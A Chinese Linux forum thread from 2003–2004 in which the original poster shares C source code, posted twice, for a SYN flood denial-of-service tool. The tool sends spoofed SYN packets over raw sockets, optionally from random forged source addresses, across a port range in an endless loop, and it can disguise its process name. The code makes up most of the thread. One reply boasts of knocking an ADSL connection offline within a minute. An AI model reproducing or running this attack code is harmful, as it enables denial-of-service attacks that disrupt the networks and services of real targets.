LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 840|回复: 6

synflood

[复制链接]
发表于 2003-10-10 14:37:53 | 显示全部楼层 |阅读模式
用C编写,是修改别人的作品,具体哪位高手的不大记得了。
还有一个arp欺骗的代码找不到了,sorry。

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/uio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/un.h>
#include <sys/select.h>
#include <poll.h>
#include <strings.h>
#include <sys/ioctl.h>
#include <pthread.h>

#define SEQ 0x28376839
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

unsigned long send_seq, ack_seq, srcport;
char flood = 0;
int sock, ssock, curc, cnt;

unsigned short
ip_sum (addr, len)
     u_short *addr;
     int len;
{
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;

  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }
  if (nleft == 1)
    {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
    }
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return (answer);
}

void
sig_exit (int crap)
{
#ifndef HEALTHY
  printf ("Signal Caught. Exiting Cleanly.\n");
  exit (crap);
#endif
}

void
sig_segv (int crap)
{
#ifndef NOSEGV
  printf ("Segmentation Violation Caught. Exiting Cleanly.\n");
  exit (crap);
#endif
}

unsigned long
getaddr (char *name)
{
  struct hostent *hep;

  hep = gethostbyname (name);
  if (!hep)
    {
      fprintf (stderr, "Unknown host %s\n", name);
      exit (1);
    }
  return *(unsigned long *) hep->h_addr;
}


void
send_tcp_segment (struct iphdr *ih, struct tcphdr *th, char *data, int dlen)
{
  char buf[65536];
  struct
  {
    unsigned long saddr, daddr;
    char mbz;
    char ptcl;
    unsigned short tcpl;
  }
  ph;

  struct sockaddr_in sin;

  ph.saddr = ih->saddr;
  ph.daddr = ih->daddr;
  ph.mbz = 0;
  ph.ptcl = IPPROTO_TCP;
  ph.tcpl = htons (sizeof (*th) + dlen);

  memcpy (buf, &ph, sizeof (ph));
  memcpy (buf + sizeof (ph), th, sizeof (*th));
  memcpy (buf + sizeof (ph) + sizeof (*th), data, dlen);
  memset (buf + sizeof (ph) + sizeof (*th) + dlen, 0, 4);
  th->check = ip_sum (buf, (sizeof (ph) + sizeof (*th) + dlen + 1) & ~1);

  memcpy (buf, ih, 4 * ih->ihl);
  memcpy (buf + 4 * ih->ihl, th, sizeof (*th));
  memcpy (buf + 4 * ih->ihl + sizeof (*th), data, dlen);
  memset (buf + 4 * ih->ihl + sizeof (*th) + dlen, 0, 4);

  ih->check = ip_sum (buf, (4 * ih->ihl + sizeof (*th) + dlen + 1) & ~1);
  memcpy (buf, ih, 4 * ih->ihl);

  sin.sin_family = AF_INET;
  sin.sin_port = th->dest;
  sin.sin_addr.s_addr = ih->daddr;

  if (sendto
      (ssock, buf, 4 * ih->ihl + sizeof (*th) + dlen, 0, (struct sockaddr *)&sin,
       sizeof (sin)) < 0)
    {
      printf ("Error sending syn packet.\n");
      perror ("");
      exit (1);
    }
}

void
spoof_open (unsigned long my_ip, unsigned long their_ip, unsigned short port)
{
  struct iphdr ih;
  struct tcphdr th;
  char buf[1024];
  struct timeval tv;

  ih.version = 4;
  ih.ihl = 5;
  ih.tos = 0;
  ih.tot_len = sizeof (ih) + sizeof (th);
  ih.id = htons (random ());
  ih.frag_off = 0;
  ih.ttl = 30;
  ih.protocol = IPPROTO_TCP;
  ih.check = 0;
  ih.saddr = my_ip;
  ih.daddr = their_ip;

  th.source = htons (srcport);
  th.dest = htons (port);
  th.seq = htonl (SEQ);
  th.doff = sizeof (th) / 4;
  th.ack_seq = 0;
  th.res1 = 0;
  th.fin = 0;
  th.syn = 1;
  th.rst = 0;
  th.psh = 0;
  th.ack = 0;
  th.urg = 0;
  th.window = htons (65535);
  th.check = 0;
  th.urg_ptr = 0;

  gettimeofday (&tv, 0);

  send_tcp_segment (&ih, &th, "", 0);

  send_seq = SEQ + 1 + strlen (buf);
}

void
upsc ()
{
  int i;
  char schar;
  switch (cnt)
    {
    case 0:
      {
        schar = '|';
        break;
      }
    case 1:
      {
        schar = '/';
        break;
      }
    case 2:
      {
        schar = '-';
        break;
      }
    case 3:
      {
        schar = '\\';
        break;
      }
    case 4:
      {
        schar = '|';
        cnt = 0;
        break;
      }
    }
  printf ("[%c] %d", schar, curc);
  cnt++;
  for (i = 0; i < 26; i++)
    {
      i++;
      curc++;
    }
}
void
init_signals ()
{
  signal (SIGHUP, sig_exit);
  signal (SIGINT, sig_exit);
  signal (SIGQUIT, sig_exit);
  signal (SIGILL, sig_exit);
  signal (SIGTRAP, sig_exit);
  signal (SIGIOT, sig_exit);
  signal (SIGBUS, sig_exit);
  signal (SIGFPE, sig_exit);
  signal (SIGKILL, sig_exit);
  signal (SIGUSR1, sig_exit);
  signal (SIGSEGV, sig_segv);
  signal (SIGUSR2, sig_exit);
  signal (SIGPIPE, sig_exit);
  signal (SIGALRM, sig_exit);
  signal (SIGTERM, sig_exit);
  signal (SIGCHLD, sig_exit);
  signal (SIGCONT, sig_exit);
  signal (SIGSTOP, sig_exit);
  signal (SIGTSTP, sig_exit);
  signal (SIGTTIN, sig_exit);
  signal (SIGTTOU, sig_exit);
  signal (SIGURG, sig_exit);
  signal (SIGXCPU, sig_exit);
  signal (SIGXFSZ, sig_exit);
  signal (SIGVTALRM, sig_exit);
  signal (SIGPROF, sig_exit);
  signal (SIGWINCH, sig_exit);
  signal (SIGIO, sig_exit);
  signal (SIGPWR, sig_exit);
}

int
main (int argc, char **argv)
{
  int i, x, max, floodloop, diff, urip, a, b, c, d;
  unsigned long them, me_fake;
  unsigned lowport, highport;
  char *junk;

  init_signals ();
#ifdef HIDDEN
  for (i = argc - 1; i >= 0; i--)
    memset (argv, 0, strlen (argv));
  strcpy (argv[0], HIDDEN);
#endif

  if (argc < 5)
    {
      printf ("Usage: %s srcaddr dstaddr low high\n", argv[0]);
      printf ("    If srcaddr is 0, random addresses will be used\n\n\n");

      exit (1);
    }
  if (atoi (argv[1]) == 0)
    urip = 1;
  else
    me_fake = getaddr (argv[1]);
  them = getaddr (argv[2]);
  lowport = atoi (argv[3]);
  highport = atoi (argv[4]);
  srandom (time (0));
  ssock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (ssock < 0)
    {
      perror ("socket (raw)");
      exit (1);
    }
  sock = socket (AF_INET, SOCK_RAW, IPPROTO_TCP);
  if (sock < 0)
    {
      perror ("socket");
      exit (1);
    }
  junk = (char *) malloc (1024);
  max = 1500;
  i = 1;
  diff = (highport - lowport);

  if (diff > -1)
    {
      printf
        ("\n\nshangxd.");
      for (i = 1; i > 0; i++)
        {
          srandom ((time (0) + i));
          srcport = getrandom (1, max) + 1000;
          for (x = lowport; x <= highport; x++)
            {
              if (urip == 1)
                {
                  a = getrandom (0, 255);
                  b = getrandom (0, 255);
                  c = getrandom (0, 255);
                  d = getrandom (0, 255);
                  sprintf (junk, "%i.%i.%i.%i", a, b, c, d);
                  me_fake = getaddr (junk);
                }

              spoof_open (me_fake, them, x);
              usleep (300);

              if (!(floodloop = (floodloop + 1) % (diff + 1)))
                {
                  upsc ();
                  fflush (stdout);
                }
            }
        }
    }
  else
    {
      printf ("High port must be greater than Low port.\n");
      exit (1);
    }
  return 0;
}
 楼主| 发表于 2003-10-10 14:40:09 | 显示全部楼层

  1. #include <sys/types.h>
  2. #include <sys/socket.h>
  3. #include <sys/time.h>
  4. #include <time.h>
  5. #include <netinet/in.h>
  6. #include <netinet/ip.h>
  7. #include <netinet/tcp.h>
  8. #include <arpa/inet.h>
  9. #include <errno.h>
  10. #include <fcntl.h>
  11. #include <netdb.h>
  12. #include <signal.h>
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <string.h>
  16. #include <sys/stat.h>
  17. #include <sys/uio.h>
  18. #include <unistd.h>
  19. #include <sys/wait.h>
  20. #include <sys/un.h>
  21. #include <sys/select.h>
  22. #include <poll.h>
  23. #include <strings.h>
  24. #include <sys/ioctl.h>
  25. #include <pthread.h>

  26. #define SEQ 0x28376839
  27. #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

  28. unsigned long send_seq, ack_seq, srcport;
  29. char flood = 0;
  30. int sock, ssock, curc, cnt;

  31. unsigned short
  32. ip_sum (addr, len)
  33.      u_short *addr;
  34.      int len;
  35. {
  36.   register int nleft = len;
  37.   register u_short *w = addr;
  38.   register int sum = 0;
  39.   u_short answer = 0;

  40.   while (nleft > 1)
  41.     {
  42.       sum += *w++;
  43.       nleft -= 2;
  44.     }
  45.   if (nleft == 1)
  46.     {
  47.       *(u_char *) (&answer) = *(u_char *) w;
  48.       sum += answer;
  49.     }
  50.   sum = (sum >> 16) + (sum & 0xffff);
  51.   sum += (sum >> 16);
  52.   answer = ~sum;
  53.   return (answer);
  54. }

  55. void
  56. sig_exit (int crap)
  57. {
  58. #ifndef HEALTHY
  59.   printf ("Signal Caught. Exiting Cleanly.\n");
  60.   exit (crap);
  61. #endif
  62. }

  63. void
  64. sig_segv (int crap)
  65. {
  66. #ifndef NOSEGV
  67.   printf ("Segmentation Violation Caught. Exiting Cleanly.\n");
  68.   exit (crap);
  69. #endif
  70. }

  71. unsigned long
  72. getaddr (char *name)
  73. {
  74.   struct hostent *hep;

  75.   hep = gethostbyname (name);
  76.   if (!hep)
  77.     {
  78.       fprintf (stderr, "Unknown host %s\n", name);
  79.       exit (1);
  80.     }
  81.   return *(unsigned long *) hep->h_addr;
  82. }


  83. void
  84. send_tcp_segment (struct iphdr *ih, struct tcphdr *th, char *data, int dlen)
  85. {
  86.   char buf[65536];
  87.   struct
  88.   {
  89.     unsigned long saddr, daddr;
  90.     char mbz;
  91.     char ptcl;
  92.     unsigned short tcpl;
  93.   }
  94.   ph;

  95.   struct sockaddr_in sin;

  96.   ph.saddr = ih->saddr;
  97.   ph.daddr = ih->daddr;
  98.   ph.mbz = 0;
  99.   ph.ptcl = IPPROTO_TCP;
  100.   ph.tcpl = htons (sizeof (*th) + dlen);

  101.   memcpy (buf, &ph, sizeof (ph));
  102.   memcpy (buf + sizeof (ph), th, sizeof (*th));
  103.   memcpy (buf + sizeof (ph) + sizeof (*th), data, dlen);
  104.   memset (buf + sizeof (ph) + sizeof (*th) + dlen, 0, 4);
  105.   th->check = ip_sum (buf, (sizeof (ph) + sizeof (*th) + dlen + 1) & ~1);

  106.   memcpy (buf, ih, 4 * ih->ihl);
  107.   memcpy (buf + 4 * ih->ihl, th, sizeof (*th));
  108.   memcpy (buf + 4 * ih->ihl + sizeof (*th), data, dlen);
  109.   memset (buf + 4 * ih->ihl + sizeof (*th) + dlen, 0, 4);

  110.   ih->check = ip_sum (buf, (4 * ih->ihl + sizeof (*th) + dlen + 1) & ~1);
  111.   memcpy (buf, ih, 4 * ih->ihl);

  112.   sin.sin_family = AF_INET;
  113.   sin.sin_port = th->dest;
  114.   sin.sin_addr.s_addr = ih->daddr;

  115.   if (sendto
  116.       (ssock, buf, 4 * ih->ihl + sizeof (*th) + dlen, 0, (struct sockaddr *)&sin,
  117.        sizeof (sin)) < 0)
  118.     {
  119.       printf ("Error sending syn packet.\n");
  120.       perror ("");
  121.       exit (1);
  122.     }
  123. }

  124. void
  125. spoof_open (unsigned long my_ip, unsigned long their_ip, unsigned short port)
  126. {
  127.   struct iphdr ih;
  128.   struct tcphdr th;
  129.   char buf[1024];
  130.   struct timeval tv;

  131.   ih.version = 4;
  132.   ih.ihl = 5;
  133.   ih.tos = 0;
  134.   ih.tot_len = sizeof (ih) + sizeof (th);
  135.   ih.id = htons (random ());
  136.   ih.frag_off = 0;
  137.   ih.ttl = 30;
  138.   ih.protocol = IPPROTO_TCP;
  139.   ih.check = 0;
  140.   ih.saddr = my_ip;
  141.   ih.daddr = their_ip;

  142.   th.source = htons (srcport);
  143.   th.dest = htons (port);
  144.   th.seq = htonl (SEQ);
  145.   th.doff = sizeof (th) / 4;
  146.   th.ack_seq = 0;
  147.   th.res1 = 0;
  148.   th.fin = 0;
  149.   th.syn = 1;
  150.   th.rst = 0;
  151.   th.psh = 0;
  152.   th.ack = 0;
  153.   th.urg = 0;
  154.   th.window = htons (65535);
  155.   th.check = 0;
  156.   th.urg_ptr = 0;

  157.   gettimeofday (&tv, 0);

  158.   send_tcp_segment (&ih, &th, "", 0);

  159.   send_seq = SEQ + 1 + strlen (buf);
  160. }

  161. void
  162. upsc ()
  163. {
  164.   int i;
  165.   char schar;
  166.   switch (cnt)
  167.     {
  168.     case 0:
  169.       {
  170.         schar = '|';
  171.         break;
  172.       }
  173.     case 1:
  174.       {
  175.         schar = '/';
  176.         break;
  177.       }
  178.     case 2:
  179.       {
  180.         schar = '-';
  181.         break;
  182.       }
  183.     case 3:
  184.       {
  185.         schar = '\\';
  186.         break;
  187.       }
  188.     case 4:
  189.       {
  190.         schar = '|';
  191.         cnt = 0;
  192.         break;
  193.       }
  194.     }
  195.   printf ("[%c] %d", schar, curc);
  196.   cnt++;
  197.   for (i = 0; i < 26; i++)
  198.     {
  199.       i++;
  200.       curc++;
  201.     }
  202. }
  203. void
  204. init_signals ()
  205. {
  206.   signal (SIGHUP, sig_exit);
  207.   signal (SIGINT, sig_exit);
  208.   signal (SIGQUIT, sig_exit);
  209.   signal (SIGILL, sig_exit);
  210.   signal (SIGTRAP, sig_exit);
  211.   signal (SIGIOT, sig_exit);
  212.   signal (SIGBUS, sig_exit);
  213.   signal (SIGFPE, sig_exit);
  214.   signal (SIGKILL, sig_exit);
  215.   signal (SIGUSR1, sig_exit);
  216.   signal (SIGSEGV, sig_segv);
  217.   signal (SIGUSR2, sig_exit);
  218.   signal (SIGPIPE, sig_exit);
  219.   signal (SIGALRM, sig_exit);
  220.   signal (SIGTERM, sig_exit);
  221.   signal (SIGCHLD, sig_exit);
  222.   signal (SIGCONT, sig_exit);
  223.   signal (SIGSTOP, sig_exit);
  224.   signal (SIGTSTP, sig_exit);
  225.   signal (SIGTTIN, sig_exit);
  226.   signal (SIGTTOU, sig_exit);
  227.   signal (SIGURG, sig_exit);
  228.   signal (SIGXCPU, sig_exit);
  229.   signal (SIGXFSZ, sig_exit);
  230.   signal (SIGVTALRM, sig_exit);
  231.   signal (SIGPROF, sig_exit);
  232.   signal (SIGWINCH, sig_exit);
  233.   signal (SIGIO, sig_exit);
  234.   signal (SIGPWR, sig_exit);
  235. }

  236. int
  237. main (int argc, char **argv)
  238. {
  239.   int i, x, max, floodloop, diff, urip, a, b, c, d;
  240.   unsigned long them, me_fake;
  241.   unsigned lowport, highport;
  242.   char *junk;

  243.   init_signals ();
  244. #ifdef HIDDEN
  245.   for (i = argc - 1; i >= 0; i--)
  246.     memset (argv[i], 0, strlen (argv[i]));
  247.   strcpy (argv[0], HIDDEN);
  248. #endif

  249.   if (argc < 5)
  250.     {
  251.       printf ("Usage: %s srcaddr dstaddr low high\n", argv[0]);
  252.       printf ("    If srcaddr is 0, random addresses will be used\n\n\n");

  253.       exit (1);
  254.     }
  255.   if (atoi (argv[1]) == 0)
  256.     urip = 1;
  257.   else
  258.     me_fake = getaddr (argv[1]);
  259.   them = getaddr (argv[2]);
  260.   lowport = atoi (argv[3]);
  261.   highport = atoi (argv[4]);
  262.   srandom (time (0));
  263.   ssock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
  264.   if (ssock < 0)
  265.     {
  266.       perror ("socket (raw)");
  267.       exit (1);
  268.     }
  269.   sock = socket (AF_INET, SOCK_RAW, IPPROTO_TCP);
  270.   if (sock < 0)
  271.     {
  272.       perror ("socket");
  273.       exit (1);
  274.     }
  275.   junk = (char *) malloc (1024);
  276.   max = 1500;
  277.   i = 1;
  278.   diff = (highport - lowport);

  279.   if (diff > -1)
  280.     {
  281.       printf
  282.         ("\n\nshangxd.");
  283.       for (i = 1; i > 0; i++)
  284.         {
  285.           srandom ((time (0) + i));
  286.           srcport = getrandom (1, max) + 1000;
  287.           for (x = lowport; x <= highport; x++)
  288.             {
  289.               if (urip == 1)
  290.                 {
  291.                   a = getrandom (0, 255);
  292.                   b = getrandom (0, 255);
  293.                   c = getrandom (0, 255);
  294.                   d = getrandom (0, 255);
  295.                   sprintf (junk, "%i.%i.%i.%i", a, b, c, d);
  296.                   me_fake = getaddr (junk);
  297.                 }

  298.               spoof_open (me_fake, them, x);
  299.               usleep (300);

  300.               if (!(floodloop = (floodloop + 1) % (diff + 1)))
  301.                 {
  302.                   upsc ();
  303.                   fflush (stdout);
  304.                 }
  305.             }
  306.         }
  307.     }
  308.   else
  309.     {
  310.       printf ("High port must be greater than Low port.\n");
  311.       exit (1);
  312.     }
  313.   return 0;
  314. }
复制代码
发表于 2004-5-15 03:18:15 | 显示全部楼层
编译不能通过!!?
发表于 2004-5-15 07:58:44 | 显示全部楼层
so long:p
发表于 2004-5-15 12:50:25 | 显示全部楼层
根本可以考虑不需要端口范围的
你机器够nb,宽带够强健
一个端口就可以把对方机器搞定了
我那synflood程序测试,cpu2.4+512mb,带宽多少忘记
1分钟就把adsl(1m)的搞断线了
发表于 2004-5-15 16:00:20 | 显示全部楼层
对信号相同的处理可以归为一个信号集
发表于 2004-10-4 22:54:04 | 显示全部楼层
SYN攻击, "杀敌一万,自损八千",晕~
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表